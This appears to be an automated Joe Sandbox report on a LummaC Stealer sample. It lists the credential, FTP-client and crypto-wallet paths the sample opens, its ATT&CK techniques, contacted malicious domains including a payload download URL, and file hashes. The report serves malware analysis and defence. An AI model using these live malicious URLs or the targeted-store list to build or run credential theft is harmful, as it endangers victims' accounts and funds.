Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior

Source: Yara match

File source: Process Memory Space: SC3sPWT51E.exe PID: 5740, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	11 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Process Injection	LSASS Memory	121 Security Software Discovery	Remote Desktop Protocol	31 Data from Local System	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Obfuscated Files or Information	Security Account Manager	11 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	115 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	22 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SC3sPWT51E.exe	61%	ReversingLabs	Win32.Spyware.Lummastealer
SC3sPWT51E.exe	50%	Virustotal		Browse
SC3sPWT51E.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
impend-differ.biz	100%	URL Reputation	malware

URLs

Source	Detection	Scanner	Label
https://gamertool.eu/LKSM.exez	0%	Avira URL Cloud	safe
https://gamertool.eu:443/LKSM.exe	100%	Avira URL Cloud	malware
https://se-blurry.biz/	100%	Avira URL Cloud	malware
https://se-blurry.biz/api	100%	Avira URL Cloud	malware
https://gamertool.eu/LKSM.exe	100%	Avira URL Cloud	malware
https://se-blurry.biz/t	100%	Avira URL Cloud	malware
https://se-blurry.biz/apie	100%	Avira URL Cloud	malware
https://se-blurry.biz:443/api	100%	Avira URL Cloud	malware
https://se-blurry.biz/apic	100%	Avira URL Cloud	malware
https://se-blurry.biz/apiv	100%	Avira URL Cloud	malware
https://se-blurry.biz/apiY	100%	Avira URL Cloud	malware
https://se-blurry.biz/??	100%	Avira URL Cloud	malware
https://se-blurry.biz/apiO	100%	Avira URL Cloud	malware
https://gamertool.eu/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
gamertool.eu	172.67.161.29	true	false		unknown
se-blurry.biz	172.67.162.65	true	false		high
impend-differ.biz	unknown	unknown	true	100%, URL Reputation	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
dare-curbys.biz	false		high
impend-differ.biz	false		high
https://se-blurry.biz/api	true	Avira URL Cloud: malware	unknown
covery-mover.biz	false		high
dwell-exclaim.biz	false		high
zinc-sneark.biz	false		high
formy-spill.biz	false		high
https://gamertool.eu/LKSM.exe	false	Avira URL Cloud: malware	unknown
se-blurry.biz	false		high
print-vexer.biz	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	SC3sPWT51E.exe, 00000000.00000003.2248421895.0000000003F0B000.00000004.00000800.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2248506046.0000000003F09000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gcc.gnu.org/bugs/):	SC3sPWT51E.exe	false		high
https://duckduckgo.com/ac/?q=	SC3sPWT51E.exe, 00000000.00000003.2248421895.0000000003F0B000.00000004.00000800.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2248506046.0000000003F09000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	SC3sPWT51E.exe, 00000000.00000003.2248421895.0000000003F0B000.00000004.00000800.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2248506046.0000000003F09000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	SC3sPWT51E.exe, 00000000.00000003.2300256938.0000000003F59000.00000004.00000800.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	SC3sPWT51E.exe, 00000000.00000003.2300256938.0000000003F59000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	SC3sPWT51E.exe, 00000000.00000003.2248421895.0000000003F0B000.00000004.00000800.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2248506046.0000000003F09000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gamertool.eu/LKSM.exez	SC3sPWT51E.exe, 00000000.00000003.2441504379.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000002.2500729700.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.rootca1.amazontrust.com/rootca1.crl0	SC3sPWT51E.exe, 00000000.00000003.2298917715.0000000003FCD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://upx.sf.net	Amcache.hve.0.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	SC3sPWT51E.exe, 00000000.00000003.2248421895.0000000003F0B000.00000004.00000800.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2248506046.0000000003F09000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	SC3sPWT51E.exe, 00000000.00000003.2298917715.0000000003FCD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://se-blurry.biz/apiv	SC3sPWT51E.exe, 00000000.00000003.2375238655.0000000000FDB000.00000004.00000020.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2397482794.0000000000FDB000.00000004.00000020.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000002.2500833328.0000000000FDC000.00000004.00000020.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2375030699.0000000000FDB000.00000004.00000020.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2441805422.0000000000FDB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.ecosia.org/newtab/	SC3sPWT51E.exe, 00000000.00000003.2248421895.0000000003F0B000.00000004.00000800.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2248506046.0000000003F09000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	SC3sPWT51E.exe, 00000000.00000003.2300256938.0000000003F59000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	SC3sPWT51E.exe, 00000000.00000003.2299977238.00000000041EE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gamertool.eu:443/LKSM.exe	SC3sPWT51E.exe, 00000000.00000002.2501240812.0000000003F58000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	SC3sPWT51E.exe, 00000000.00000003.2300256938.0000000003F59000.00000004.00000800.00020000.00000000.sdmp	false		high
https://se-blurry.biz/t	SC3sPWT51E.exe, 00000000.00000003.2334305887.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2334331703.0000000000FD6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ac.ecosia.org/autocomplete?q=	SC3sPWT51E.exe, 00000000.00000003.2248421895.0000000003F0B000.00000004.00000800.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2248506046.0000000003F09000.00000004.00000800.00020000.00000000.sdmp	false		high
https://se-blurry.biz/	SC3sPWT51E.exe, 00000000.00000003.2441805422.0000000000FDB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://se-blurry.biz/apie	SC3sPWT51E.exe, 00000000.00000003.2397375235.0000000000FE8000.00000004.00000020.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2375220847.0000000000FE4000.00000004.00000020.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2375030699.0000000000FDB000.00000004.00000020.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2362595567.0000000000FE8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://se-blurry.biz/apic	SC3sPWT51E.exe, 00000000.00000003.2375238655.0000000000FDB000.00000004.00000020.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2397482794.0000000000FDB000.00000004.00000020.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2334305887.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2375030699.0000000000FDB000.00000004.00000020.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2334331703.0000000000FD6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://se-blurry.biz:443/api	SC3sPWT51E.exe, 00000000.00000003.2375238655.0000000000FDB000.00000004.00000020.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2375030699.0000000000FDB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	SC3sPWT51E.exe, 00000000.00000003.2300256938.0000000003F59000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	SC3sPWT51E.exe, 00000000.00000003.2298917715.0000000003FCD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	SC3sPWT51E.exe, 00000000.00000003.2298917715.0000000003FCD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	SC3sPWT51E.exe, 00000000.00000003.2248421895.0000000003F0B000.00000004.00000800.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2248506046.0000000003F09000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3	SC3sPWT51E.exe, 00000000.00000003.2300256938.0000000003F59000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	SC3sPWT51E.exe, 00000000.00000003.2298917715.0000000003FCD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://se-blurry.biz/apiY	SC3sPWT51E.exe, 00000000.00000003.2397375235.0000000000FE8000.00000004.00000020.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2375220847.0000000000FE4000.00000004.00000020.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2375030699.0000000000FDB000.00000004.00000020.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2362595567.0000000000FE8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/products/firefoxgro.all	SC3sPWT51E.exe, 00000000.00000003.2299977238.00000000041EE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	SC3sPWT51E.exe, 00000000.00000003.2248421895.0000000003F0B000.00000004.00000800.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2248506046.0000000003F09000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.mozilla.or	SC3sPWT51E.exe, 00000000.00000003.2299868769.0000000003FCA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	SC3sPWT51E.exe, 00000000.00000003.2300256938.0000000003F59000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gamertool.eu/	SC3sPWT51E.exe, SC3sPWT51E.exe, 00000000.00000003.2441823245.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000002.2500676078.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2441504379.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://se-blurry.biz/??	SC3sPWT51E.exe, 00000000.00000003.2441805422.0000000000FDB000.00000004.00000020.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2334331703.0000000000FD6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://se-blurry.biz/apiO	SC3sPWT51E.exe, 00000000.00000002.2500833328.0000000000FDC000.00000004.00000020.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2441805422.0000000000FDB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.67.162.65	se-blurry.biz	United States		13335	CLOUDFLARENETUS	false
172.67.161.29	gamertool.eu	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1572177
Start date and time:	2024-12-10 07:46:49 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 52s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SC3sPWT51E.exe renamed because original name is a hash value
Original Sample Name:	7cb559130bbd743d4cdb0891749c5643.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/3@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 5
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms Sleep loops longer than 100000000ms are bypassed. Single calls with delay of 100000000ms and higher are ignored Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 4.245.163.56
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target SC3sPWT51E.exe, PID 5740 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
172.67.162.65	ft.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	jgurtgjasdth.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Nymaim	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
gamertool.eu	file.exe	Get hash	malicious	Amadey, LummaC Stealer	Browse	104.21.9.168
se-blurry.biz	file.exe	Get hash	malicious	Amadey, LummaC Stealer	Browse	104.21.81.153
	ft.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.65
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.65
	jgurtgjasdth.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.65
	Loader.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.81.153
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Nymaim	Browse	172.67.162.65
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.81.153

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	4C1bAkWboc.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.70.164
	ro7MnkIxJk.exe	Get hash	malicious	LummaC	Browse	104.21.29.214
	DqEJwd61Uw.exe	Get hash	malicious	Zhark RAT	Browse	104.21.74.110
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.16.1
	7sUijpTjwD.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.79.7
	YewXqKOwfT.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.1
	https://reddsuth.outfitsrl.it/?46525SU=4TI90K00D	Get hash	malicious	Unknown	Browse	104.17.25.14
	interior-design-villa-a23.lnk	Get hash	malicious	MalLnk	Browse	104.17.112.233
	FATR98765678000.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.6
CLOUDFLARENETUS	4C1bAkWboc.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.70.164
	ro7MnkIxJk.exe	Get hash	malicious	LummaC	Browse	104.21.29.214
	DqEJwd61Uw.exe	Get hash	malicious	Zhark RAT	Browse	104.21.74.110
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.16.1
	7sUijpTjwD.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.79.7
	YewXqKOwfT.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.1
	https://reddsuth.outfitsrl.it/?46525SU=4TI90K00D	Get hash	malicious	Unknown	Browse	104.17.25.14
	interior-design-villa-a23.lnk	Get hash	malicious	MalLnk	Browse	104.17.112.233
	FATR98765678000.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.6

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	4C1bAkWboc.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.161.29 172.67.162.65
	ro7MnkIxJk.exe	Get hash	malicious	LummaC	Browse	172.67.161.29 172.67.162.65
	hQ3bNN05F8.exe	Get hash	malicious	LummaC	Browse	172.67.161.29 172.67.162.65
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	172.67.161.29 172.67.162.65
	7sUijpTjwD.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.161.29 172.67.162.65
	FtbY5uqGY0.exe	Get hash	malicious	LummaC	Browse	172.67.161.29 172.67.162.65
	x1e7BlMmbl.exe	Get hash	malicious	LummaC	Browse	172.67.161.29 172.67.162.65
	8E273IHyAW.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.161.29 172.67.162.65
	YewXqKOwfT.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.161.29 172.67.162.65

Process:	C:\Users\user\Desktop\SC3sPWT51E.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	548
Entropy (8bit):	4.688532577858027
Encrypted:	false
SSDEEP:	12:TjeRHVIdtklI5r8INGlTF5TF5TF5TF5TF5TFK:neRH68DTPTPTPTPTPTc
MD5:	370E16C3B7DBA286CFF055F93B9A94D8
SHA1:	65F3537C3C798F7DA146C55AEF536F7B5D0CB943
SHA-256:	D465172175D35D493FB1633E237700022BD849FA123164790B168B8318ACB090
SHA-512:	75CD6A0AC7D6081D35140ABBEA018D1A2608DD936E2E21F61BF69E063F6FA16DD31C62392F5703D7A7C828EE3D4ECC838E73BFF029A98CED8986ACB5C8364966
Malicious:	false
Reputation:	high, very likely benign file
Preview:	<html>..<head><title>404 Not Found</title></head>..<body>..<center><h1>404 Not Found</h1></center>..<hr><center>nginx</center>..</body>..</html>.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->..

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Users\user\Desktop\SC3sPWT51E.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.465929377504803
Encrypted:	false
SSDEEP:	6144:3zZfpi6ceLPx9skLmb0fBZWSP3aJG8nAgeiJRMMhA2zX4WABluuNLjDH5S:jZHtBZWOKnMM6bFpZj4
MD5:	48AEC83898DC0B781C4B82AB56A9DA67
SHA1:	24FBE58C3EEC4E4F7CD8A01DB0F2B8D2DC2676DF
SHA-256:	B53772D822C42510D71C0ADC874FBFBF73E42505B6EC02F8498A04CC0B1A2AB8
SHA-512:	DD9DFD9693D985FE973FBAEC3379BC73C6B2EF5B5E41F4F440AF9FF456524F2F5567934AE112112376C355DDC15661064035D0C53A8EA0D179324B14CB231EE0
Malicious:	false
Reputation:	low
Preview:	regfH...H....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtmR.){.J..............................................................................................................................................................................................................................................................................................................................................;t>O........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

\Device\ConDrv

Download File

Process:	C:\Users\user\Desktop\SC3sPWT51E.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	643
Entropy (8bit):	5.791324649098374
Encrypted:	false
SSDEEP:	12:NyjZ7S1/srSLxMd3Vso2eXfc+rHJK9CJmTyaHT0/Y+adNdnBuzMqYfn:NyF7s/sWKdlsxeZk4IT/0/Zwpf
MD5:	7B7CDE31791403E2D2BD6C2B125F677D
SHA1:	5F8F28E2BDFACCB51AE803697BE5670C625B0CFA
SHA-256:	7DCF2EB90BC52E2C2BEDFA99EA52A1B0AB27DC9E5EAF7A7B60FA087CEB738627
